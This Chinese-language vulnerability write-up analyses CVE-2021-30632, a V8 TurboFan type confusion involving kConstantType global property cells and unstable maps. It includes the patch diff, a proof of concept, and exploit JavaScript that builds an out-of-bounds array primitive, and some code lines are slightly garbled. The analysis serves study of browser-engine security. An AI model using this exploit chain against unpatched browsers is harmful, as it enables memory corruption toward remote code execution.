CVE-2021-30632 V8引擎漏洞分析
2022-3-4 19:55:45 Author: mp.weixin.qq.com(查看原文) 阅读量:11 收藏

简介

CVE-2021-30632是V8引擎的类型混淆漏洞。攻击者可通过构造JIT code,向一个PropertyCellType为kConstantType且拥有unstable map的全局变量写入新值,造成类型混淆。

Bug class: Type confusion
ffected Versions: pre 93.0.4577.82
First Patched Version: 93.0.4577.82
Issue/Bug Report: https://bugs.chromium.org/p/chromium/issues/detail?id=1247763

前置知识

  • stable / unstable map and map transition
  • PropertyCellType
  • compilation dependencies
  • (JIT)lowering

PropertyCellType

全局变量可以理解为全局对象(global object)属性(Property),v8维护了一些metadata用于优化。

property_cell_type represents various states of the PropertyCell

PropertyCell保存了属性相关信息,包括属性的名字、值、property detailscell_type
其中cell_type(即PropertyCellType)记录了该属性被赋值的情况。从代码注释可看出kConstantType意为该属性目前只被同一种类型的值赋值。

// A PropertyCell's property details contains a cell type that is meaningful if
// the cell is still valid (does not hold the hole).
enum class PropertyCellType {
  kMutable,       // Cell will no longer be tracked as constant.
  kUndefined,     // The PREMONOMORPHIC of property cells.
  kConstant,      // Cell has been assigned only once.
  kConstantType,  // Cell has been assigned only one type.
  // Value for dictionaries not holding cells, must be 0:
  kNoCell = kMutable,
};

通常情况下对一个属性赋值时会调用PropertyCell::UpdatedType来更新PropertyCellType,这种赋值方式可以称为*通用路径(generic path)*。

PATCH

我认为,漏洞出现原因是 kConstantType 字面语义与其实际作用不完全一致,开发者在JIT优化阶段认为它可以为对象类型做担保。

一个对象多次赋值,且每次赋值map不变,PropertyCell type为kConstantType ,但kConstantType并不能为map做担保。通过添加属性我们可以轻易地改变一个对象的map,并且PropertyCell type仍然维持kConstanType

而漏洞版本中JIT代码认为PropertyCell type为 kConstantType 的对象,且持有一个 unstable map 时写入一个新的值(map与假设一致)是安全的。

patch内容 js-native-context-specialization.cc - diff

@@ -804,6 +804,12 @@
       return NoChange();
     } else if (property_cell_type == PropertyCellType::kUndefined) {
       return NoChange();
+    } else if (property_cell_type == PropertyCellType::kConstantType) {
+      // We rely on stability further below.
+      if (property_cell_value.IsHeapObject() &&
+          !property_cell_value.AsHeapObject().map().is_stable()) {
+        return NoChange();
+      }
     }
   } else if (access_mode == AccessMode::kHas) {
     DCHECK_EQ(receiver, lookup_start_object);
@@ -922,17 +928,7 @@
         if (property_cell_value.IsHeapObject()) {
           MapRef property_cell_value_map =
               property_cell_value.AsHeapObject().map();
-          if (property_cell_value_map.is_stable()) {
-            dependencies()->DependOnStableMap(property_cell_value_map);
-          } else {
-            // The value's map is already unstable. If this store were to go
-            // through the C++ runtime, it would transition the PropertyCell to
-            // kMutable. We don't want to change the cell type from generated
-            // code (to simplify concurrent heap access), however, so we keep
-            // it as kConstantType and do the store anyways (if the new value's
-            // map matches). This is safe because it merely prolongs the limbo
-            // state that we are in already.
-          }
+          dependencies()->DependOnStableMap(property_cell_value_map);
 
           // Check that the {value} is a HeapObject.
           value = effect = graph()->NewNode(simplified()->CheckHeapObject(),

改动的部分为 JSNativeContextSpecialization::ReduceGlobalAccess 函数

在第一处增加了检查,当property_cell_typeKConstantType,若值为堆对象且持有的map不为stable map则直接返回。
JSNativeContextSpecialization::ReduceGlobalAccess 提前返回直接导致的后果是JSStoreGlobal在Inlining阶段中没有被lowering。

从第二处的改动可以看出,在kConstantType的情况下,会设置DependOnGlobalProperty,且patch后无论对象的map是否为stable都会设置DependOnStableMap。以下是关键代码。

switch (property_details.cell_type()) {
  ...
  case PropertyCellType::kConstantType: {
    // Record a code dependency on the cell, and just deoptimize if the new
    // value's type doesn't match the type of the previous value in the
    // cell.
    dependencies()->DependOnGlobalProperty(property_cell);    // <------------ DependOnGlobalProperty
    Type property_cell_value_type;
    MachineRepresentation representation = MachineRepresentation::kTagged;
    if (property_cell_value.IsHeapObject()) {
      MapRef property_cell_value_map =
          property_cell_value.AsHeapObject().map();
      dependencies()->DependOnStableMap(property_cell_value_map);    // <------------ DependOnStableMap
 
      // Check that the {value} is a HeapObject.
      value = effect = graph()->NewNode(simplified()->CheckHeapObject(),
                                        value, effect, control);
      // Check {value} map against the {property_cell_value} map.
      effect = graph()->NewNode(
          simplified()->CheckMaps(
              CheckMapsFlag::kNone,
              ZoneHandleSet<Map>(property_cell_value_map.object())),
          value, effect, control);
       ...
     break;
  }

触发漏洞

至此,针对 (cell_type) kConstantType 我们已经了解:

  1. reassignment 才会更新 cell_type。
  2. 不进行reassignment,仅仅添加一个新属性,我们可以很轻易地改变对象的map。

所以即使cell_type维持ConstantType,也无法保证对象的map不变。

ConstantType的字面意思看起来是“不变的类型”,但实际上它并不能保证对象的map不发生变化。

漏洞位于JSNativeContextSpecialization::ReduceGlobalAccess函数,这个函数在turbofan优化中的inlining阶段被调用。

POC

var a;
function foo({
    a = new Uint32Array(100);
}
%PrepareFunctionForOptimization(foo);
foo();
foo();
a["xxx"] =1;
delete a["xxx"];
%OptimizeFunctionOnNextCall(foo);
foo();

IR NODES

执行POC,通过 --trace-turbo 可以看到 经过inlining阶段 JSStoreGlobal 被lowerring

inlining阶段前:JSStoreGlobal被lowerring:

此时 a 的map不稳定且 cell_type 值为 ConstantType

0x359108293465: [PropertyCell] in OldSpace
- map: 0x359108002671 <Map[20]>
- name: 0x35910808ee01: [String] in ReadOnlySpace: #a
- value: 0x359108109b9d <Uint32Array map = 0x3591082c3181>
- details: (data, dict_index: 81, attrs: [WE_])
- cell_type: ConstantType

关键代码

Reduction JSNativeContextSpecialization::ReduceGlobalAccess(
    Node* node, Node* lookup_start_object, Node* receiver, Node* value,
    NameRef const& name, AccessMode access_mode, Node* key,
    PropertyCellRef const& property_cell, Node* effect)
 
{
 
  ...
 
  // We have additional constraints for stores.
  if (access_mode == AccessMode::kStore) {
    DCHECK_EQ(receiver, lookup_start_object);
    if (property_details.IsReadOnly()) {
      // Don't even bother trying to lower stores to read-only data properties.
      // TODO(neis): We could generate code that checks if the new value equals
      // the old one and then does nothing or deopts, respectively.
      return NoChange();
    } else if (property_cell_type == PropertyCellType::kUndefined) {
      return NoChange();
    }
  } else if (access_mode == AccessMode::kHas) {
    ...
  }
 
  if (access_mode == AccessMode::kLoad || access_mode == AccessMode::kHas) {
    ...
  } else {
    ...
    switch (property_details.cell_type()) {
      case PropertyCellType::kConstant: {
        ...
      }
      case PropertyCellType::kConstantType: {
        // Record a code dependency on the cell, and just deoptimize if the new
        // value's type doesn't match the type of the previous value in the
        // cell.
        dependencies()->DependOnGlobalProperty(property_cell);     <------------------ [1]
        Type property_cell_value_type;
        MachineRepresentation representation = MachineRepresentation::kTagged;
        ...
          MapRef property_cell_value_map =
              property_cell_value.AsHeapObject().map();
          if (property_cell_value_map.is_stable()) {
            dependencies()->DependOnStableMap(property_cell_value_map);     <-------------------- [2]
          } else {
            // The value's map is already unstable. If this store were to go
            // through the C++ runtime, it would transition the PropertyCell to
            // kMutable. We don't want to change the cell type from generated
            // code (to simplify concurrent heap access), however, so we keep
            // it as kConstantType and do the store anyways (if the new value's
            // map matches). This is safe because it merely prolongs the limbo
            // state that we are in already.
          }
 
          // Check that the {value} is a HeapObject.
          value = effect = graph()->NewNode(simplified()->CheckHeapObject(),  
                                            value, effect, control);          <---------------------- [3]
          // Check {value} map against the {property_cell_value} map.
          effect = graph()->NewNode(
              simplified()->CheckMaps(
                  CheckMapsFlag::kNone,
                  ZoneHandleSet<Map>(property_cell_value_map.object())),
              value, effect, control);
          property_cell_value_type = Type::OtherInternal();
          representation = MachineRepresentation::kTaggedPointer;
        ...
        effect = graph()->NewNode(simplified()->StoreField(ForPropertyCellValue(
                                      representation, property_cell_value_type,
                                      MaybeHandle<Map>(), name)),
                                  jsgraph()->Constant(property_cell), value,
                                  effect, control);
        break;
      }
      ...
    }
  }
 
  ReplaceWithValue(node, value, effect, control);
  return Replace(value);
}

基于假设的优化

对于全局变量的写入操作(access_mode == AccessMode::kStore),该函数会根据PropertyCellType(switch...case...)进行基于假设的优化。

当cell_type为ConstantType时,该函数首先在[1]处设置一个dependency(DependOnGlobalProperty),假设cell type没有发生改变。接下来会判断对象的map是否为stable。对于stable map,会在[2]处再设置一个dependency(DependOnStableMap),假设map保持stable状。对于unstable map则不做更多的假设。然后还会在[3]处插入一个检查节点 CheckMaps,在JIT CODE执行时检查value(新值)的map是否与PropertyCell中value的map相同(eager deoptimization)。

简单概括一下,PropertyCell的类型为ConstantType且对象拥有 unstable map时,Turbofan假设PropertyCellType不发生改变且新值的map与PropertyCell中记录的旧值map相同,对这个JSGlobalStore进行Lowering。

(如果不满足 additional constraints for stores 会提前返回,不考虑优化这个写入操作)。

改变对象的map

如果通过常规的赋值方式改变对象的map,由于操作[1]设置了DependOnGlobalProperty,由于外部代码使PropertyCellType发生改变会触发lazy deoptimization。如果传入一个不同map的对象通过optimized code进行赋值操作,无法通过JIT代码运行时的检查 [3],发生eager deoptimization。

看起来我们好像没有办法在不引起解优化的前提下改变这个全局对象的map。

但我们可以构造一个JIT优化代码,对一个持有unstable map的对象重新赋值(写入PropertyCell)且PropertyCellType 仍为 kConstantType,只要新值的map能符合要求。

var x = {a : 1};  //<---- x has MapA
var o = {a : 2};  //<---- o has MapA
function foo(y{
  x = y;
}
... //MapA becomes unstable, foo gets optimized
foo(o);   //value of x change to o, map remains the same

此处只要o的map类型与x一致,就能通过JIT代码运行时的检查( [3]处,JIT假设与旧值map一致)。

var x = {a : 1};  //<---- x has MapA
var o = {a : 2};  //<---- o has MapA
var z = {a : 3};  //<---- z has MapA
function foo(y{
  x = y;
}
z.b = 1;  //MapA becomes unstable
...//optimize foo
x.b = 1//value of x is now {a : 1, b: 1} and has MapB, still ConstantType, MapB stable
foo(o);   //value of x change to o, map changes back to MapA, still ConstantType

在漏洞版本中,因为foo函数优化时MapA是unstable map,JIT没有对map做任何假设(若为stable map,[2]处会增设DependOnStableMap),所以不会触发lazy deoptimization,即在不引起解优化的同时使x的map变成MapB

通过JIT优化函数foo,我们可以将x的map从MapB更改回MapA,而无需通过*通用路径(generic path)*重新赋值x(不经过PropertyCell::UpdatedType)或使MapB变为unstable。

许多优化的代码依赖于这样一个事实: 变量的map不能改变,除非通过同意路径重新赋值或者使其map变为unstable。
因此,通过使用优化的函数 foo 将 x 的map恢复到以前的状态(mapA) ,任何此类优化代码的假设都不再成立,可造成类型混淆。

利用

通过JIT优化函数foo,将x的map从MapB更改回MapA,无需通过*通用路径(generic path)*重新赋值x(不经过PropertyCell::UpdatedType)或使MapB变为unstable。

// commit 62ed75a1d26932754ffcaef2db7c4ce2b0b5737e  
 
var a1 = {a:1};
var a2 = {a:2};
var a3 = {a:3};
var x = {a:0}; // has mapA, Constant
 
function foo(y,flag{
  for (let i = 0; i < 0x200; ++i) {
      ++i;
  }
  if(flag) x=y;
}
 
foo(a1,true); // x: mapA, ConstantType
  
a2.b=1// a2 has MapB, MapA becomes unstable
 
for(let i=0;i<0x3000;++i) foo(a1,false); //Optimization
 
x.b=1// x->mapB, ConstantType

foo(a3,true); // value of x change to o, map changes back to MapA, still ConstantType

混淆smi数组与double数组,进一步构造oob原语。因为SMI向DOUBLE的转换比较频繁,SMI数组在创建时就已经设置了transition信息,且持有unstable map(HOLEY_ELEMENTS除外),把它保存到一个全局变量中会经过PropertyCell::UpdatedType,把PropertyCellType更新为kMutable
所以我们需要通过一些方法创建一个持有stable map的SMI数组。

例如

class Box extends Array {
    constructor(...args) {
        super(...args);
    }
};
// or
function arr_(...args){
    let a = new Array(...args);
    a.a=1;
 return a;
}

具体实现

function arr_(...args){
    let a = new Array(...args);
    a.a=1;
 return a;
}
var x = new arr_(1,2,3);
function foo(y{
    for (let i = 0; i < 0x200; ++i) {
        ++i;
    }
    x=y;
}
function leak_elems_and_len(){
  for (let i = 0; i < 0x200; ++i) {
        ++i;
    }
  return x[30];
}
function overwrite_elems_and_len(value){
  for (let i = 0; i < 0x200; ++i) {
        ++i;
    }
  x[30]=value;
}
var a1 = new arr_(1,2,3,4);
foo(a1);
//%DebugPrint(foo);
//%SystemBreak();

var a2 = new arr_(1,2,3,4);
a2.b=1;
var a3 = new arr_(1,2,3);
for(let i=0;i<0x3000;++i) foo(a3);
//%SystemBreak();

x[0]=1.1;
print('transition to double');
var a4 = new arr_(1.1,2.2,3.3,4.4,5.5,1.1,2.2,3.3,4.4,5.5,1.1,2.2,3.3,4.4,5.5,1.1,2.2,3.3,4.4,5.5,1.1,2.2,3.3,4.4,5.5,1.1,2.2,3.3,4.4,5.5,1.1,2.2);
x=a4;
for(let i=0;i<0x3000;++i) {
leak_elems_and_len();
overwrite_elems_and_len(0.75);
}
//%SystemBreak();
var a5 = new arr_(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32);
var oob_arr = new arr_(1.1,2.2);
foo(a5);
%SystemBreak();
%DebugPrint(a5);
%DebugPrint(oob_arr);

var ab = new ArrayBuffer(8);
var f64 = new Float64Array(ab);
var u32 = new Uint32Array(ab);
f64[0]=leak_elems_and_len();
u32[1]=0x42424242;
var init=f64[0];
overwrite_elems_and_len(init);
//%DebugPrint(oob_arr);
print(oob_arr.length);
%SystemBreak();

接下来的步骤就是利用OOB数组更进一步构造伪造对象原语、任意读写原语,不赘述。本文是个人理解学习的总结,如有错漏请斧正。

参考

https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/

https://googleprojectzero.blogspot.com/2019/05/trashing-flow-of-data.html

https://twitter.com/0day_sniper/status/1437754743712063491


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&mid=2247484581&idx=1&sn=3f216284bc74286c3432ecc4d7a6aa52&chksm=ce1545fbf962cced9db41c6eed07bca8fd9bce3f39fac49e0912d89adc3cfa69bfc26ec759d9&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh